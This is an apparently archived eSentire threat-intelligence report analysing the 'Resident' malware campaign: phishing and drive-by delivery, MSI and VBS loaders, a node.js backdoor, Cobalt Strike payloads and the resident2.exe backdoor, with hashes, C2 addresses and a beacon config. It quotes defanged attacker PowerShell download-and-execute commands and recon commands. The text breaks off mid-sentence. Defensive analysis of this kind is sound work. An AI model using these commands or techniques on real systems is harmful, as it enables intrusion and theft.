eSentire Threat Intelligence Malware Analysis: Resident Campaign By eSentire Threat Response Unit (TRU) Archived: 2026-04-05 18:09:02 UTC Since November 2022, the eSentire Threat Response Unit (TRU) has observed the resurgence of what we believe to be a malicious campaign targeting the manufacturing, commercial, and healthcare organizations. The campaign is similar to the one reported by Trend Micro researchers in December 2020. The campaign is believed to be conducted by native Russian speaking threat actor(s). This malware analysis references four separate incidents where our machine-learning PowerShell classifier, Bluesteel detected malicious PowerShell commands executing a script from an attacker hosted domain. It delves deeper into the technical details of how the Resident campaign operates and our security recommendations to protect your organization from being exploited. Key Takeaways The Resident campaign is named after the custom backdoor that the threat actor(s) retrieved from one of the established sessions with the command and control (C2) server. The backdoor has the capabilities to achieve persistence and deploy secondary payloads. The Resident campaign is delivered via drive-by downloads leveraging compromised websites and phishing emails containing the fake OneDrive attachment that leads to the page hosting the JavaScript payload. Resident threat actor(s) retrieve multiple MSI installers that contain the tools used for post-compromise objectives. eSentire's Threat Intelligence team has observed the campaign delivering Rhadamanthys stealer. These insights are based on four separate incidents targeting manufacturing, commercial, and healthcare organizations. Initial Infection Vector The initial infection vector we have observed is a phishing email. It should be noted that the SANS Internet Storm Center has also observed the campaign spreading via drive-by downloads. The threat actor(s) are using email hijacking to deliver the malicious payload with a PDF attachment. The attacker(s) adds the sender domain to Vesta Control Panel to make it look legitimate when the user browses to the domain (Figure 1). https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 1 of 34 Figure 1: Phishing email The PDF attachment contains the link to the domain that sends the user to saprefx[.]com domain and based on the geo location of the user, the domain will either redirect the user to the final domain that hosts the JavaScript payload or displays the TeamViewer installer page as shown below (Figure 2). https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 2 of 34 Figure 2: The redirect chain The JavaScript payload is usually hosted on compromised WordPress websites. An example of the initial JavaScript payload is shown in Figure 3. Figure 3: JavaScript snippet https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 3 of 34 After the user opens the JavaScript attachment, the script would directly download and execute the MSI file using InstallProduct method. In our example, the first retrieved MSI installer dropped Terminal_App_Service VBS (Visual Basic Script) file under ProgramData/Cis folder (we also observed the name Imdb.vbs being used (MD5: c3f9b1fa3bcde637ec3d88ef6a350977)). The VBS file reaches out to the C2 with the serial number of the C drive on the infected machine as a parameter then it retrieves the Windows Installer product and runs it without the user’s knowledge in the background. The script enters the loop where it would continue retrieving and installing the MSI files every 9368 milliseconds (Figure 4). Figure 4: Malicious VBS script dropped from the first MSI file The retrieved MSI files (we observed approximately 3 MSI files being retrieved originating from the VBS script), contain the tools or scripts to take a screenshot of the host at the time of infection; this is completed with an AutoHotKey script. We have also observed AutoIt, Python scripts, and i_view32.exe tool used to take the screenshot of the host. Case Study #1 During the first campaign, our TRU team observed the threat actor dropping the backdoor, Cobalt Strike payload, and the Python script responsible for taking a screenshot of the host. Here are some of the files that were observed dropped on the endpoint during the first incident: sdv.vbs (C:\ProgramData\sdv) – MD5: 0e5598b0a72bf83378056ae52be6eda4, the script uses WScript.shell object to query the Windows Management Instrumentation (WMI) for information about active processes, caption, command line, creation date, computer name, executable path, OS (Operating Systems) name, and Windows version. It then sends the gathered information along with drive (C:\) serial number to the C2 (Figure 5). https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 4 of 34 Figure 5: sdv.vbs script screen1.pyw (C:\ProgramData\sdv) – MD5: a628240139c04ec84c0e110ede5bb40b, Python script that is responsible for taking a screenshot and sending to the C2 with a serial drive number (Figure 6). Figure 6: snippet of screen1.pyw hcmd.exe (AppData\Roaming\hcmd) – node.exe, MD5: f5182a0fa1f87c2c7538b9d8948ad3ce Imdb.vbs (MD5: c3f9b1fa3bcde637ec3d88ef6a350977). index.js (MD5: 5bdb1ac2a38ab3e43601eee055b1983f), under AppData\Roaming\hcmd folder – one of the main scripts deployed by the Resident campaign. The script serves as a backdoor and runs with a specific argument via the renamed node.exe binary (hcmd.exe) – hcmd.exe index.js 2450639401. The script is using Socket.IO for bi-https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 5 of 34 directional communication and is setting up a command line interface that allows the infected host to connect to a C2 server via port 3000 using the given 'hwid' (Hardware ID) and 'password'. Once the connection is established with the C2, the code sets up event listeners for connect, disconnect, cmd-ping, and cmd-command events. The code logs a message to the console and when the disconnect and disconnect events are triggered, When the cmd-ping event is triggered, the code sends a cmd-pong message with the hwid. Finally, when the cmd-command event is triggered, the code executes the given command from the C2 in the terminal and logs the output (Figure 7). Figure 7: Snippet of index.js backdoor node_modules directory that contains the dependencies for node.exe (AppData\Roaming\hcmd). 7765676.exe (similar to the Cobalt Strike PowerShell DLL payload that we will mention later in this report) – the Cobalt Strike executable that was dropped via the active session with the C2 server via the backdoor access. We have observed persistence techniques being created via Startup. Two shortcut files were created under the Startup folder. CUGraphic.lnk (Startup persistence) – the shortcut is responsible for launching the AutoHotKey script under ProgramData\2020 (Figure 8). https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 6 of 34 Figure 8: CUGraphic.lnk content Imdb.lnk (Startup persistence) – the shortcut file is pointing to the directory C:\ProgramData\Cis\. Upon running the malicious MSI installer, it installs the malicious “application” which is the Imdb.vbs script. The Application ID in the registry (e.g., HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21- 1866265027-1870850910-1579135973-1000\Products\985AA98E08645254995AFEA67F8AC3B6\Features\) allows the VBS file to run upon startup with the shortcut pointing to the directory. Application ID is a unique identifier assigned to a shortcut file when it is created. The Application ID is used to track the shortcut file and its associated application, so that Windows can properly manage the shortcut and its associated application (Figure 9). Figure 9: Shortcut file, installed application and the Application ID in the registry So, what about the PowerShell? The malicious PowerShell command mentioned before retrieves and executes the PowerShell script from 31.41.244[.]142. The PowerShell script loads kernel32.dll and crypt32.dll via LoadLibraryA and uses the function CryptStringToBinaryA from crypt32.dll to convert the base64 string to a binary format (Figure 10). https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 7 of 34 Figure 10: Malicious PowerShell script containing the Cobalt Strike payload hosted on attacker's domain It then creates a file mapping of the binary data with the CreateFileMappingA function from kernel32.dll and maps the malicious payload into memory with MapViewOfFile function from the kernel32.dll. Finally, it invokes the mapped binary payload with the Invoke method. The malicious payload which is the Cobalt Strike loader (MD5: f8d780f77553e7780ebcf917844571b0) enumerates the “powershell.exe” process using CreateToolhelp32Snapshot. It then attempts to request read and write access rights to the process. If it fails to get the access, the payload terminates (Figure 11). Figure 11: The payload enumerates for PowerShell process The loader uses API hashing, shown in Figure 12. Figure 12: Hashed APIs Specifically using CRC32 with JAMCRC algorithm to hash the APIs with the 32-bit polynomial 0xEDB88320 that is used in CRC32 checksum table (Figure 13). https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 8 of 34 Figure 13: CRC32 checksum table The malicious payload initially loads APIs from kernel32.dll, then the rest of the APIs from libraries such as advapi32.dll, wininet.dll and ws2_32.dll. We can create a quick IDAPython script to rename the DWORDs that store the API value (Figure 14). https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 9 of 34 Figure 14: IDAPython script to calculate the CRC32 JAMCRC hash and rename the DWORDs The loader sample allocates the memory and decodes to MZRE header which is known for Cobalt Strike payloads that use magic_mz_x86 option to override the MZ header. The decoding routing uses a bitwise rotation as shown in Figure 15. Figure 15: The loader allocates the memory and partially decrypts the Cobalt Strike payload The decoding function can be implemented as follows: https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 10 of 34 n = 1 for byte in byte_array: b = byte & 255 ror = ((b >> (n & 7)) | (b << (8 - (n & 7)))) & 255 n += 1 print(ror) The Cobalt Strike configuration is shown below: { "BeaconType": [ "HTTP" ], "Port": 80, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "C2Server": "31.41.244[.]142,/g.pixel", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 1580103824, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": [ "CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread" ], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": "" } https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 11 of 34 Figure 16: Cobalt Strike payload loaded into memory Case Study #2 In this incident, the threat actor(s) deployed their custom written backdoor tool named resident2.exe. The backdoor resident2.exe was dropped from the Cobalt Strike session and designates the end of the infection chain (Figure 17). The tools such as windows-kill.exe that terminates Windows processes and netping.exe (presumably the network ping tool) were also brought onboard by the threat actor. Figure 17: Infection chain (1) The files we have observed being dropped from this case: s.au3 – (MD5: b8822d99850ac70cb3de0e1d39639add) – AutoIt script (dropped under C:\ProgramData\jaf\s.au3). The script is written in AutoIt scripting language; it takes the screenshot of the infected machine using functions such as _ScreenCapture_SetJPGQuality() and _ScreenCapture_Capture(), it then reads the content of the screenshot file (s.jpg), sets the request headers and sends it to the C2 server with the serial number of the C:\ drive recorded from s.vbs script (Figure 18). https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 12 of 34 Figure 18: s.au3 script (screenshot capture) index.js (AppData\Roaming\hcmd\) au3.exe (ProgramData\2020\) – AutoHotKey tool. s.exe (ProgramData\jaf\) – AutoIT tool. Imdb.vbs (C:\ProgramData\Cis). hcmd.exe (AppData\Roaming\hcmd\hcmd.exe). s.vbs (ProgramData\jaf\) – gets the serial number of the C:\ drive and outputs it to a text file s.txt (Figure 19). Figure 19: s.vbs script windows-kill.exe (AppData\Roaming\hcmd\node_modules\nodemon\bin\) – Windows process “killer”. netping.exe (downloaded via PowerShell: powershell Invoke-WebRequest hxxps://temp[.]sh/BOTnt/netping.exe - OutFile C:\programdata\netping.exe) – we could not retrieve the file from the system, but we assume it is the network ping tool that pings a range of IP addresses. resident2.exe – the custom written backdoor. As you might have noticed, the index.js backdoor is also present in this case. The backdoor session was established via the command hcmd.exe index.js 2094656165. During the established backdoor session two Cobalt Strike payloads were downloaded from 62.204.41[.]171 via the following commands: powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://62.204.41[.]171:80/a'))" powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hxxp://62.204.41[.]171:80/b'))" The threat actor(s) also performed reconnaissance with the following commands: net group “domains admins” /domain whoami /groups ipconfig /all What is resident2.exe? https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 13 of 34 The binary is 32-bit executable written in C programming language. Upon successful execution the binary creates a copy of itself under C:\ProgramData\RtlUpd as RtlUpd.exe. The persistence is achieved via a scheduled task named “RtlUpd” that runs every 10 minutes starting from the time when the binary was first executed (Figure 20). Figure 20: Task Scheduler function The strings in the binary are encrypted with RC4 (Figure 21). Figure 21: RC4 KSA algorithm The encrypted strings are stored in .rdata section and would skip the first 4 bytes and take the next 4-5 bytes of the hexadecimal string as an RC4 key, the rest of the string would be the encrypted data (Figure 22). https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 14 of 34 Figure 22: The structure of the encrypted data and key The binary contains the custom base64-encoded and RC4 encrypted string of in the /GET requests as shown in Figure 23. Figure 23: GET request within the pcap data This function in Figure 24 is retrieving the volume serial number, computer name, and username of the current system. It then base64-encodes the retrieved values. Figure 24: Retrieving the data and base64-encode them The CRC32 function in Figure 25 is supposed to calculate the checksum for the computer name and username separately although it produces different checksum values for unknown reasons. https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign Page 15 of 34 Figure 25: Implementation of CRC32 in the binary Moving forward, the binary build the string based on the pattern %d|%08X%08X|%d|%d|%d|%d|%hs|%hs which can be translated into |